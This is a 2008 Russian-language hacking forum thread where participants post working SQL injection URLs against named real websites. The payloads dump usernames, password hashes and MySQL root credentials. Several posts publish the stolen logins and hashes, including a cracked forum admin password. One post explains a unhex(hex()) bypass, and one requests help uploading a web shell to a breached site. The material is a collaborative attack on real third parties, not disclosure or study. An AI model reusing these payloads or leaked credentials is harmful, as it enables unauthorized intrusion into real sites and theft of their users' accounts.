ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 26.08.2008, 16:10
Аватар для $n@ke
$n@ke
Постоянный
Регистрация: 18.09.2006
Сообщений: 867
Провел на форуме:
2805813

Репутация: 1396


По умолчанию

городишко кокойто..есть даже Wanted))
Цитата:
http://www.town.madison.wi.us/fire/calendar/index.php?display=event&id=-772
http://www.town.madison.wi.us/admin/

bill:RbILYS.h/oJD6
ltwcal:Rb6tYJLLkwwfM
gregory:RbccLVAoMKun.
bloom:Rbsf/mIEnfcgY
rose:Rbt1QrY2Izgkg:works4me
schwass:RbpTOUCiVsWOk
 
Ответить с цитированием

  #2  
Старый 26.08.2008, 16:22
Аватар для dr.Pilulkin
dr.Pilulkin
Познающий
Регистрация: 03.06.2007
Сообщений: 44
Провел на форуме:
418827

Репутация: 48
По умолчанию

http://www.itcdc.com/explore.php?p=22+limit+0+union+select+1,2,concat_w s(char(58),username,password),4+from+itc.users+lim it+1,1/*

admin:bc5f1dcf127870a3d1acaf8a0ef99f11
 
Ответить с цитированием

  #3  
Старый 26.08.2008, 17:30
Аватар для $n@ke
$n@ke
Постоянный
Регистрация: 18.09.2006
Сообщений: 867
Провел на форуме:
2805813

Репутация: 1396


По умолчанию

Любителям "ЛЮДИ-Х"
Цитата:
http://www.xpg.us/cerebra/display.php?id=-1347+union+select+1,2,3,4,5,username,7,password,9, 10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 ,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,4 3,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59, 60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76 ,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,name +from+login+limit+1,1/*
login.php

но аплоадит только джпеги, правда особо не разбиралса...

================================================== ==============

Цитата:
http://www.lancsfirerescue.org.uk/lfrs/fire_stations/your_station.php?id=42
version 4.1.22-standard-log
User lancsfire@localhost

Последний раз редактировалось $n@ke; 26.08.2008 в 17:44..
 
Ответить с цитированием

  #4  
Старый 26.08.2008, 18:28
Аватар для SeNaP
SeNaP
Участник форума
Регистрация: 07.08.2008
Сообщений: 281
Провел на форуме:
3300342

Репутация: 165
По умолчанию

решил попробавать добить этот сайт, но
таблицу форума нашол

http://ledi.ru/news.php?id=-13+union+select+1,2,3,table_name,5,6+from+INFORMAT ION_SCHEMA.TABLES+limit+70,1&te=0

а поюзать я её не могу

вот

http://ledi.ru/news.php?id=-13+union+select+1,2,3,column_name,5,6+from+INFOTMA TION_SCHEMA.COLUMNS+where+table_name=0x6962665f6d6 f64657261746f7273&te=0



0x6962665f6d6f64657261746f7273 = ibf_moderators
--------------
если кто зделает, покажите?
 
Ответить с цитированием

  #5  
Старый 26.08.2008, 21:03
Аватар для sabe
sabe
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
Провел на форуме:
1404552

Репутация: 568
Отправить сообщение для sabe с помощью ICQ Отправить сообщение для sabe с помощью AIM Отправить сообщение для sabe с помощью Yahoo
По умолчанию

Aac.ur.ru - Меня попросили проголосовать за одну девченку))
Цитата:
http://www.aac.ur.ru/?op=add_backet&id=6234&categ=99999+union+select+1, 2,unhex(hex(version())),4,5,6,7,8,9,10,11,12,13/*
4 версия...
Цитата:
http://www.aac.ur.ru/?op=add_backet&id=6234&categ=99999+union+select+1, 2,unhex(hex(concat_ws(0x3a,user,password))),4,5,6, 7,8,9,10,11,12,13+from+mysql.user/*
рут..


SeNaP
Цитата:
http://ledi.ru/news.php?id=-13+union+select+1,2,3,unhex(hex(concat_ws(0x3a,nam e,member_login_key))),5,6+from+ibf_members+limit+0 ,1&te=0
 
Ответить с цитированием

  #6  
Старый 26.08.2008, 21:13
Аватар для SeNaP
SeNaP
Участник форума
Регистрация: 07.08.2008
Сообщений: 281
Провел на форуме:
3300342

Репутация: 165
По умолчанию

sabe, можеш пояснить, вот это "unhex(hex" ?

для чего это нужно?

и откуда ты получил вот эту таблицу?
" member_login_key"

Последний раз редактировалось SeNaP; 26.08.2008 в 21:40..
 
Ответить с цитированием

  #7  
Старый 26.08.2008, 22:01
Аватар для sabe
sabe
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
Провел на форуме:
1404552

Репутация: 568
Отправить сообщение для sabe с помощью ICQ Отправить сообщение для sabe с помощью AIM Отправить сообщение для sabe с помощью Yahoo
По умолчанию

SeNaP
hex() - это конвертация стринга в хекс..
unhex() - обратная функция...
используем эту конструкцию вместе чтобы не было таких ошибок как у тебя

member_login_key - это стандартное поле где хранятся пассы от IPB

Последний раз редактировалось sabe; 26.08.2008 в 23:11..
 
Ответить с цитированием

  #8  
Старый 26.08.2008, 23:24
Аватар для $p01nt
$p01nt
Участник форума
Регистрация: 19.02.2008
Сообщений: 186
Провел на форуме:
584540

Репутация: 96
По умолчанию

Все читают книжки? xD
Издательство "Эксмо"

http://www.eksmo.ru/catalog/book?b=1'

http://www.eksmo.ru/catalog/book?b=61308+union+select+1,2,3,4,5,6,7,8,9,0,1,2, 3,4,5,6,7,8,9,0,1,2,3,4,5/*

4.0.21-standard-log

Издательство "Народное"

http://literati.ru/list4.php?rub=1'

http://literati.ru/list4.php?rub=-1+union+select+1,2,3,4/*

4.1.22-log

Последний раз редактировалось $p01nt; 26.08.2008 в 23:27..
 
Ответить с цитированием

Мой нормальный SQL-inJ =)
  #9  
Старый 27.08.2008, 00:02
Аватар для SeNaP
SeNaP
Участник форума
Регистрация: 07.08.2008
Сообщений: 281
Провел на форуме:
3300342

Репутация: 165
По умолчанию Мой нормальный SQL-inJ =)

А теперь после книжек идем на рыбалку
--------------
Базы ДанныХ
http://www.flyfishinginnh.com/news.php?id=-13+union+select+1,table_name,3+from+INFORMATION_SC HEMA.TABLES&limit=0
--------------
Таблицы в форуме
http://www.flyfishinginnh.com/news.php?id=-13+union+select+1,column_name,3+from+INFORMATION_S CHEMA.COLUMNS+where+table_name='phpbb_users'&limit =0
---------------
Юзеры форума
КЕШ(пароль не расшифрованный) = ЛОГИН
http://www.flyfishinginnh.com/news.php?id=-13+union+select+1,(concat_ws(0x3d,user_password,us ername)),3+from+phpbb_users&limit=0

----------------
Форум _http://www.flyfishinginnh.com/forum/
логин:admin
Пароль: 1 или brookie21
так как я по английскому не хрена не шарю
пороль 1 или brookie21
Логин: admin
-----------------
Кто сможет залить шел, отпишитесь пожалуйчто в ЛС
 
Ответить с цитированием

  #10  
Старый 27.08.2008, 00:51
Аватар для sabe
sabe
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
Провел на форуме:
1404552

Репутация: 568
Отправить сообщение для sabe с помощью ICQ Отправить сообщение для sabe с помощью AIM Отправить сообщение для sabe с помощью Yahoo
По умолчанию

SeNaP
admin;brookie21

но форум не тот что ты указал это булка. у тебя хеш от phpbb ищи phpbb дам шелл нету phpbb ищи в базе поля от vb +))))))))
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
SQL инъекция и Oracle, часть 2 k00p3r Чужие Статьи 0 13.06.2005 11:24
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ